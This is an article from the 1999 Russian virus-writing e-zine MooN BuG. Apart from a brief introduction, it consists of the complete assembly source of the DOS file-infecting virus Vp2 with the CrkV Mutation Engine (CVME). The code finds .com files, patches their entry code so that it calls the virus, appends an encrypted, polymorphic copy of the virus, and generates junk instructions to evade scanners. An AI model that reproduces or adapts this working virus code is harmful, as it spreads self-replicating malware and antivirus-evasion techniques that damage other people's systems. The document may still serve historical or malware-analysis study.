╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ CrkV │012║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║ Вирус Vp&CVME ║
╚════════════════════════════════════════════════════════════════════════════╝
В качестве еще одного вируса, использующего CVME, представляю вирус Vp.
Семейство Vp было написано, на основе вирусов Vpp, представленных RedArc'ом в
качестве жертв на конкурс любительских антивирусов. (Более подробно о вирусах
Vp и Vpp можно почитать в журналах DVL N8-9).
=== Cut === Vp&CVME.ASM
;Вирус Vp2 with [CVME 1.0] 11.07.1999 (c) CrkV
.386
DOSInt EQU 21h
Int21h EQU Int DOSInt
;===================================================================
; 0123456789 123456789 123456789 123456789 123456789 123456789
;===================================================================
CSeg Segment Para USE16 'code'
Assume Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
Org 100h
CVME:
Call $ + 3
PushF ;флаги тоже cохраним
PushA ;сохраним все регистры
Push Ds
Entry_Point:
Call $+3
My_Point:
Mov Bp,Sp
Sub Word Ptr [Bp+22],03h
Mov Di,[Bp+22] ;получить адрес возврата
Pop Bp ;Bp:=Offset My_Point
Push Es
Mov Cs:[Bp+Save_Sp],Sp
Mov Cs:[Bp+Save_Ss],Ss
Push Cs
Push Cs
Pop Es
Pop Ss ;Cli не нужен
Lea Sp,[Bp+Vir_Stack]
Lea Si,[Bp+Save_Byte]
Cld
MovSW
MovSB
Call Set_Int21h
Mov Ah,2Fh ;Get DTA
Int21h
; Add Si,Save_DTA
LodSW
Mov [Si],Bx ;Сохраняем DTA
Mov [Si+02h],Es
Push Cs
Pop Es
Mov Ah,1Ah ;Set DTA
Lea Dx,[Bp+New_DTA]
Int21h ;устанавливаем свою DTA
Mov Ah,4Eh ;Find_First
Mov Cx,0FEh
Lea Dx,[Bp+Mask_Com]
@Find_File:
Int21h
Jnc @Check_File
LDs Dx,[Bp+Save_DTA2]
Mov Ah,1Ah ;Set DTA
Int21h ;Восстанавливаем программную DTA
Call Set_Int21h
Cli
Mov Sp,[Bp+Save_Sp]
Mov Ss,[Bp+Save_Ss]
Pop Es
Pop Ds
PopA ;Восстанавливаем регистры
PopF
Ret ;Выходим из вируса
;---------------------------------------
@Check_File:
Mov Ax,4301h ;Set Atr
Lea Dx,[Bp+New_DTA+1Eh] ;найденное имя в DTA
Sub Cx,Cx
Int21h
Jc @Not_Infected
Mov Ax,3D02h ;Open File
Int21h
Jc @Exit_Check
Xchg Bx,Ax ;Bx:=Ax (File Handle)
Call Set_FP ;на выходе Dx:Ax - размер файла
Or Dx,Dx
Jnz @Not_Infected
Cmp Ax,0100h
Jbe @Not_Infected ;файл маловат
Cmp Ax,0F000h
Jnb @Not_Infected ;а вот этот велик ;-))
Mov Di,Ax
Dec Ax
Dec Ax
Xchg Dx,Ax
Mov Al,00h
Call Set_FP2 ;устанавливаем ук. на конец файла - 2
Mov Ah,3Fh ;Read File
Lea Si,[Bp+Buffer]
Mov Dx,Si
Mov Cl,02h
Int21h ;Считаем 2 байта
Cmp Word Ptr [Si],'+V' ;V+ - метка вируса
Je @Not_Infected ;возможно заражен
Mov Al,00h
Call Set_FP1
Call Infect
@Not_Infected:
Mov Ah,3Eh ;Close File
Int21h
Mov Ax,4301h ;Set Atr
Lea Dx,[Bp+New_DTA+1Eh] ;найденное имя в DTA
Sub Cx,Cx
Mov Cl,[Bp+New_DTA+15h] ;атрибуты из DTA
Int21h
@Exit_Check:
Mov Ah,4Fh ;Find Next
Jmp @Find_File
;---------------------------------------
Set_FP: Mov Al,02h
Set_FP1:Sub Dx,Dx
Set_FP2:Sub Cx,Cx
Mov Ah,42h
Int21h
Ret
;---------------------------------------
Infect Proc
Push Di
Mov Ah,3Fh ;Read File
Mov Ch,01h ;Cl=0
Mov Dx,Si
Int21h ;Считываем 256 байт
LodSW
Cmp Ax,'ZM'
Je @Exit_Infect2
Cmp Ax,'MZ'
Je @Exit_Infect2
Cmp Al,0EBh ;Jmp short ?
Je @Jmp_Short
Dec Si
Cmp Al,0E9h ;Jmp ?
Je @Ok_Jmp
Push 0
Dec Si
Jmp @Not_Jmp
@Jmp_Short:
LodSB
Cbw
Jmp @Jmps
@Ok_Jmp:
LodSW
Dec Si
@Jmps:
Push Ax
Xchg Dx,Ax
Dec Si
Dec Si
Mov Al,00h
Call Set_FP2
Mov Ah,3Fh ;Read File
Mov Ch,01h
Mov Dx,Si
Int21h ;Считаем 256 байт от перехода
@Not_Jmp:
Mov Di,Si
@Next_Scan:
Mov Al,0CDh
Repne ScasB
Jz @Ok_Scan
@Exit_Infect:
Pop Di
@Exit_Infect2:
Pop Di
Ret
@Ok_Scan:
Mov Ax,[Di]
Cmp Al,10h
Je @Now_Infected
Cmp Al,20h
Je @Now_Infected
Cmp Al,21h
Je @Now_Infected
Cmp Al,27h
Jnz @Next_Scan
@Now_Infected:
Mov [Bp+Save_Byte+1],Ax
Lea Dx,[Di-Buffer-1]
Sub Dx,Bp
Pop Ax
Add Dx,Ax
Push Dx
Mov Al,00h
Call Set_FP2 ;тут будет переход на тело вируса
Pop Dx
Pop Ax ;Размер
Push Bx
Push Ax
Sub Ax,Dx
Sub Ax,03h ;вычисляем смещение для Call вирус
Mov Byte Ptr [Di-1],0E8h ;Call My_Point
Mov Dx,Di
Dec Dx
StoSW
Mov Ah,40h ;Write File
Mov Cx,03h
Int21h ;Записали команду перехода
Call Set_FP
Mov Di,Si ;Буфер
Mov Ax,609Ch
StoSW
Mov Dx,1111111100110000b
Call Reg_Musor
Mov Al,1Eh ;Push Ds
Call Com_Musor
Mov Al,0Eh ;Push Cs
Call Com_Musor
Mov Al,1Fh ;Pop Ds
Call Com_Musor
In Ax,40h
Xchg Ah,Al
Shr Ax,1
Xchg Cx,Ax
Mov Dx,1111111100110111b ;Bx,Si,Di
Call GetFrRS ;регистр базы
And Dl,11111000b ;Sp - не используем
Push Cx
Push Ax
Push Ax
Call LoadReg
Call Reg_Musor
Call @LeaTabBI
TabBI db 0,0,0,9Fh,0,0,0B4h,0BDh
@LeaTabBI:
Pop Bx
Pop Cx
Mov Ax,Cx
Xlat
Xchg Cx,Ax
Call Rand04
Mov Ah,Cl
Cmp Al,01h
Jb @R_Xor
Je @R_Add
Mov Al,29h
Mov Cl,01h
Jmp @R_Sub
@R_Add: Mov Al,01h
Mov Cl,29h
Jmp @R_Sub
@R_Xor: Mov Al,31h
Mov Cl,31h
@R_Sub: Mov [Bp+Rnd_Com],Cl
Mov Cx,Di
StoSW
Pop Ax ;регистр
Push Di
StoSW
Call Reg_Musor
Or Al,01000000b ;Inc
StoSB
Call Reg_Musor
Mov Ah,81h ;Cmp
StoSW
Or Al,11111000b
StoSB
Push Di ;значение
Mov Al,75h ;Jne
StoSW
StoSW
Sub Cx,Di
Mov [Di-1],Cl
Sub Di,Si ;размер 1 части
Mov Cx,Di
Push Bp
Mov Bp,Sp
Add Di,[Bp+8] ;размер проги
Sub Di,[Bp+6] ;рандомное значение
Add Di,100h
Mov Bx,[Bp+4]
Mov [Bx],Di
Mov Di,[Bp+6]
Mov Bx,[Bp+2]
Add Di,Shifr_Lenght
Mov [Bx],Di
Mov Di,[Bp+6]
Pop Bp
Add Sp,8
Pop Bx
Mov Ah,40h
Mov Dx,Si
Int21h
Push Bx
Push Di
Mov Cx,Vir_Lenght
Mov Di,Dx
Lea Si,[Bp-3]
Repe MovSB
Pop Bx
Mov Si,Dx
Mov Di,Dx
Mov Cx,(Shifr_Lenght) Shr 1
@LoopSh:LodSW
Rnd_Com EQU $ - Offset My_Point
Xor Bx,Ax
Inc Bx
Inc Bx
StoSW
Loop @LoopSh
Pop Bx
Mov Cx,Vir_Lenght
Mov Ah,40h ;Write_File
Int21h ;Дописали вирус
Ret
Infect EndP
;---------------------------------------
Set_Int21h Proc
Push Ds
Push 0
Pop Ds
Cli
Mov Ax,Ds:[DOSInt*4] ;Int 03h
Xchg Ax,Ds:[21h*4]
Mov Ds:[DOSInt*4],Ax
Mov Ax,Ds:[DOSInt*4][2] ;Int 03h
Xchg Ax,Ds:[21h*4][2]
Mov Ds:[DOSInt*4][2],Ax
Sti
Pop Ds
Ret
Set_Int21h EndP
;-------------------------------------------------------
LoadR2 Proc
Push Ax
In Ax,40h
Test Al,10b
Pop Ax
Jz LoadReg
;команды Mov Rg16,Im16 (Random1)
; несколько мусора
; Add (Sub, Xor)
Push Bx Ax Cx
Xchg Ax,Cx
In Ax,40h
Push Ax
Xchg Cx,Ax
Call LoadReg
Mov Al,81h
Stosb
Pop Cx Bx ;Cx:=Rand1
Call Rand08
Cmp Al,01h
Pop Ax
Jg @Xor
Je @Sub
Or Al,11000000b ;11000xxxb (Add R16,Im16)
@CM00: Sub Bx,Cx
Jmp @CR2
@Sub: Or Al,11101000b ;11101xxxb (Sub R16,Im16)
Xchg Bx,Cx
Jmp @CM00
@Xor: Or Al,11110000b ;11110xxxb (Xor R16,Im16)
Xor Bx,Cx
@CR2: StoSB
Xchg Ax,Bx
StoSW
Pop Bx
Ret
LoadR2 Endp
;-------------------------------------------------------
LoadReg Proc
;генерирует команду(ы) загрузки регистра
;Ax - используемый регистр
;Cx - значение
;Es:Di - буфер
;на выходе: Es:Di - буфер для новой команды
Push Ax
In Ax,40h
Test Al,100b
Pop Ax
Je LM1
;---------------------------
LM0 Proc
;команда Mov Rg16,Im
Push Ax
Or Al,10111000b ;Mov Rg16,Im
StoSB
XChg Cx,Ax
StoSW
Pop Ax
Ret
LM0 Endp
;---------------------------
LM1 Proc
;команды Push Im16
; несколько мусора
; Pop R16
Or Al,01011000b ;Pop R16
Push Ax
Mov Al,68h ;Push Im16
StoSB
XChg Cx,Ax
StoSW
Test Dh,00000100b ;мусор нужен ???
Jz @NoRbL1
Call GetMDx
@NoRbL1:Pop Ax
StoSB
Ret
LM1 Endp
;---------------------------
LoadReg Endp
;-------------------------------------------------------
GetFrR Proc
;(Вых) Al - свободный регистр
@NextR: Call Rand08
Bt Dx,Ax
Jc @NextR ;Регистр уже используется
Ret
GetFrR Endp
;-------------------------------------------------------
GetFrRS Proc
;(Вых) Al - свободный регистр (объявляется занятым)
@NextRS:Call Rand08
Bts Dx,Ax
Jc @NextRS ;Регистр уже используется
Ret
GetFrRS Endp
;-------------------------------------------------------
GetMus Proc
;генерирует мусор
Push Ax Bx Cx
Sub Cx,Cx
Call Rand16
Test Al,1100b ;Без команды (00xxb)
Jz @G00
Call RndSt2
Cmp Al,0110b
Jg @M01
Call RndID
@M01: Call RndCom
@M02: Call RndStDx
Call ClrStack
@G00: Pop Cx Bx Ax
Ret
GetMus Endp
;-------------------------------------------------------
Com_Musor:
StoSB
Reg_Musor:
GetMDx Proc
Test Dh,00000001b ;мусор нужен ???
Jz @NoM01
Call GetMus
@NoM01: Ret
GetMDx Endp
;-------------------------------------------------------
MyRand Proc
; Cx-нижняя граница,Bx-верхняя граница
; Ax-случайное число
Push Bx Cx Dx Si
Call @LeaRandPar
RandPar dw 1234h
@LeaRandPar:
Pop Si
Mov Ax,Cs:[Si] ;Mov Ax,RandPar
Add Ax,9248h
Ror Ax,3
Xor Ax,9248h
Add Ax,11h
Mov Cs:[Si],Ax
And Ax,7FFFh
Sub Bx,Cx
Inc Bx
Sub Dx,Dx
IDiv Bx
Add Cx,Dx
Pop Si Dx Ax Bx
Xchg Cx,Ax
Ret
MyRand EndP
;-------------------------------------------------------
Random Proc
Push Bx Cx
Mov Bx,7FFFh
@GetRnd:Sub Cx,Cx
Call MyRand
Pop Cx Bx
Ret
Random EndP
;-------------------------------------------------------
Rand04 Proc
In Ax,40h
And Ax,11b
Ret
Rand04 EndP
;-------------------------------------------------------
Rand08 Proc
In Ax,40h
And Ax,111b
Ret
Rand08 EndP
;-------------------------------------------------------
Rand16 Proc
In Ax,40h
And Ax,1111b
Ret
Rand16 EndP
;-------------------------------------------------------
Push16 Proc
;генерирует команду помещения в стек
Push Ax
Call Random
And Ax,111b
Cmp Al,01h
Jge @P_00
Mov Al,68h ;Push Im16 (00h)
StoSB
In Ax,40h
StoSW
Pop Ax
Ret
@P_00: Jne @P_01
Mov Al,6Ah ;Push Im8 (01h)
StoSB
In Ax,40h
@P_ExB: StoSB
Pop Ax
Ret
@P_01: Cmp Al,05h
Jne @P_05
Mov Al,9Ch ;PushF (05h)
Jmp @P_ExB
@P_05: Jg @P_08
Call Rand04
Shl Al,3
Or Al,00000110b ;000xx110 Push SR (03h,04h)
Jmp @P_ExB
@P_08: Call Rand08
Or Al,01010000b ;01010xxx Push R16 (06h-08h)
Jmp @P_ExB
Push16 EndP
;-------------------------------------------------------
RndStack Proc
;генерирует случайные команды работы со стеком
Push Ax
In Ax,40h
Test Al,11b
Jnz @ExP00
Call Push16
Inc Cx
@ExP00: In Ax,40h
Test Al,11100b
Jnz @ExP01
JCxZ @ExP01 ;В стеке ничего нет
Call GetFrR
Or Al,01011000b ;01011xxx Pop R16
StoSB
Dec Cx
@ExP01: Pop Ax
Ret
RndStack EndP
;-------------------------------------------------------
RndStDx Proc
Test Dh,00000010b ;мусор нужен ???
Jz @NoMSt
Call RndStack
@NoMSt: Ret
RndStDx EndP
;-------------------------------------------------------
RndSt2 Proc
Call RndStDx
Jmp RndStDx
RndSt2 EndP
;-------------------------------------------------------
ClrStack Proc
JCxZ @ExCS ;В стеке ничего нет
Push Ax
@LpCS: Call GetFrR
Or Al,01011000b ;01011xxx Pop R16
StoSB
Loop @LpCS
Pop Ax
@ExCs: Ret
ClrStack EndP
;-------------------------------------------------------
RndID Proc
Push Ax
In Ax,40h
Mov Bl,01000000b ;Inc (00h)
Test Al,001b
Jne @MID00
Mov Bl,01001000b ;Dec (01h)
@MID00: Call GetFrR
Or Al,Bl
StoSB
Pop Ax
Ret
RndID EndP
;-------------------------------------------------------
RndCom Proc
Push Ax Bx
Call Random
Test Al,111b
Jnz @NMov
Call GetFrR
Or Al,0B8h ;10111xxx - Mov R16,Im
StoSB
Jmp @ExRC16
@NMov: Call Rand08
Shl Al,3 ;00xxx011b - команда
Or Ax,00000011b ;Устанавливаем биты направления и разр.
StoSB
In Ax,40h
And Al,11000111b ;Reg1
Xchg Ax,Bx
Call GetFrR
Shl Al,3
Or Al,Bl
StoSB ;Byte R/M
Shr Al,6
Cmp Al,10b
Jg @ExRC ;Com R16,R16
Je @ExRC16 ;Com R16,[RBI+Ofs16]
Cmp Bl,00000110b ;Com R16,[Mem]
Je @ExRC16
Cmp Al,00h ;Com R16,[RBI]
Je @ExRC
In Ax,40h
StoSB
Jmp @ExRC
@ExRC16:In Ax,40h
StoSW
@ExRC: Pop Bx Ax
Ret
RndCom EndP
;-------------------------------------------------------
ParCVME db 00000000b
;0 - генерировать мусор (общий)
;1 - генерировать мусор (стек)
CRight db 'CrkV Mutation Engine [CVME] 1.00'
;-------------------------------------------------------
Mask_Com EQU $ - Offset My_Point
db '*.com',00h
Save_Byte EQU $ - Offset My_Point
db 0CDh
db 20h
Shifr_Lenght EQU (($ - Entry_Point) Shr 1) Shl 1
db ?
StrVp db 'V+'
Vir_Lenght EQU $ - Offset Entry_Point
;---------------------------------------
Vir_Stack EQU $ - Offset Entry_Point + 1000h
;---------------------------------------
Save_Dta2 EQU $ - Offset My_Point
dd ?
Save_Sp EQU $ - Offset My_Point
dw ?
Save_Ss Equ $ - Offset My_Point
dw ?
RndZn dw ?
New_DTA EQU $ - Offset My_Point
Buffer EQU Vir_Lenght + 100h
;---------------------------------------
CSeg EndS
End CVME
=== Cut ===